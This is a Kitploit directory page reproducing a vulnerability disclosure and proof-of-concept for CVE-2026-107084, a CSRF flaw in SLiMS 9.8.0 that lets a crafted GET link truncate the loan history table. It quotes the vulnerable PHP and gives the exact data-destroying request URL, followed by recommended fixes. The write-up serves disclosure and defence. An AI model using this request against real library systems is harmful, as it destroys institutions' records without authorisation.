Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-107084 — Proof-of-concept and technical write-up for CVE-2026-107084, a CSRF flaw in SLiMS 9.8.0 loan history maintenance that lets an attacker trigger unauthenticated TRUNCATE data loss. | Kitploit
工具/GitHubGitHub/primandito/cve-2026-107084
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubprimandito/cve-2026-107084

CVE-2026-107084

Proof-of-concept and technical write-up for CVE-2026-107084, a CSRF flaw in SLiMS 9.8.0 loan history maintenance that lets an attacker trigger unauthenticated TRUNCATE data loss.

查看仓库
24天前尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-107084 — Cross-Site Request Forgery (CSRF) in SLiMS 9.8.0 Loan History Maintenance

CVE Version Status CVE State

Summary

SLiMS 9.8.0 allows Cross-Site Request Forgery (CSRF) against admin/modules/circulation/loan_history_maintenance.php. The action=run GET parameter performs privileged, destructive operations — specifically the TRUNCATE of the loan_history table (via task=empty or task=rebuild_all). This action is executed with no CSRF token and no POST confirmation.

Because SLiMS does not set the SameSite attribute on the admin session cookie, a top-level GET navigation (e.g., an admin clicking a crafted link or being redirected to the URL) still carries the session cookie. A cross-site `` fetch would be blocked from carrying the cookie by SameSite=Lax, but the navigation vector still applies.

Impact: An authenticated admin can be tricked into triggering a destructive GET request, resulting in Data Loss (complete truncation of loan history records).

FieldValue
CVE IDCVE-2026-107084
Official Recordcve.org/CVERecord?id=CVE-2026-107084
Affected VersionSLiMS 9.8.0 (master)
Vulnerability TypeCWE-352: Cross-Site Request Forgery (CSRF)
Attack VectorNetwork
Privileges RequiredNone (Requires user interaction by an authenticated admin)
Affected Componentadmin/modules/circulation/loan_history_maintenance.php (action=run, tasks empty, rebuild_all)
Original Reportslims/slims9_bulian#394

Affected Files

FileVulnerable Lines
admin/modules/circulation/loan_history_maintenance.php59–190

Vulnerable Code

admin/modules/circulation/loan_history_maintenance.php

Lines 59–190 — The main action handler accepts GET requests and performs destructive actions without any CSRF validation:

vulnerable get action

// lines 59-64
if (isset($_GET['action']) && $_GET['action'] === 'run') {
    @set_time_limit(0);
    @ob_implicit_flush(true);

    $task = $_GET['task'] ?? '';
    ...

The task=empty and task=rebuild_all directly execute a TRUNCATE query:

vulnerable truncate empty

vulnerable truncate rebuild

// case 'empty' and 'rebuild_all'
$ok = $dbs->query('TRUNCATE TABLE loan_history');

Contributing factor: Grepping for csrf or token in admin/modules/circulation/loan_history_maintenance.php returns no results. No CSRF token validation exists anywhere in the file.


Proof of Concept

Prerequisites

  • SLiMS 9.8.0 running locally (e.g. via the repository's own docker-compose.yml: php:8.3.13-apache + mariadb:lts)
  • Logged in as any valid admin account (any role with write access)

Step 1 — Inspect Current Loan History Count

Open the following URL in your browser to check the current stats:

http://localhost:8881/admin/modules/circulation/loan_history_maintenance.php?action=run&task=stats

Output:

Total loan: 0
Total loan_history: 5
Missing loan_history rows: 0

stats before

Step 2 — Trigger the Destructive GET (No CSRF Token, No Confirmation)

Open the following URL (this simulates an attacker tricking an admin into clicking a link):

http://localhost:8881/admin/modules/circulation/loan_history_maintenance.php?action=run&task=empty

Output:

Truncating loan_history ...
OK

truncate execution

Step 3 — Verify Data Loss

Open the stats URL again. The loan_history count is now 0. The test rows (e.g., loan_id 910001-910005) have been permanently deleted.

Output:

Total loan: 0
Total loan_history: 0
Missing loan_history rows: 0

stats after


Environment

system environment

ComponentVersion
SLiMS9.8.0 (master)
Operating SystemUbuntu 24.04
Web ServerApache 2.4.62 (Debian)
PHP8.3.13
MariaDB12.3.3-MariaDB-ubu2404
MySQL Clientmysqld 8.3.13
BrowserFirefox 156

Verified using the repository's own docker-compose.yml.


Recommended Fix

1. Require POST and CSRF Token (recommended)

TRUNCATE and rebuild_all tasks must require a POST request with a valid CSRF token (or explicit POST confirmation). Never run destructive actions from a bare GET.

if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('Invalid request or missing CSRF token.');
}

2. Set SameSite on Session Cookies

As a defense-in-depth measure, explicitly set SameSite=Lax or SameSite=Strict on the admin session cookie in php.ini or via session_set_cookie_params():

session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);

Timeline

DateEvent
2026-10-05Issue #394 reported to SLiMS repository
2026-10-15Public write-up published (this repository)
2026-10-20Official CVE record published on cve.org
—Awaiting maintainer response on fix

References

  • Official CVE Record — CVE-2026-107084
  • Original report — slims/slims9_bulian#394
  • Related report — slims/slims9_bulian#391 (CVE-2026-107081)
  • Related report — slims/slims9_bulian#392 (CVE-2026-107082)
  • Related report — slims/slims9_bulian#393 (CVE-2026-107083)
  • CWE-352: Cross-Site Request Forgery (CSRF)
  • OWASP: Cross Site Request Forgery

Disclaimer

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    810
  • 3

    wifit3

    derv82/wifit3

    Wifite 但仅限 USB 且跨平台。

    638
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    453
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    436
  • 6

    SafeLine

    chaitin/safeline

    自托管WAF和反向代理,可过滤恶意HTTP流量、阻止SQL注入、XSS和机器人攻击,具备速率限制和动态HTML/JS加密功能。

    386

探索所有工具

浏览我们的工具集合

查看所有工具 →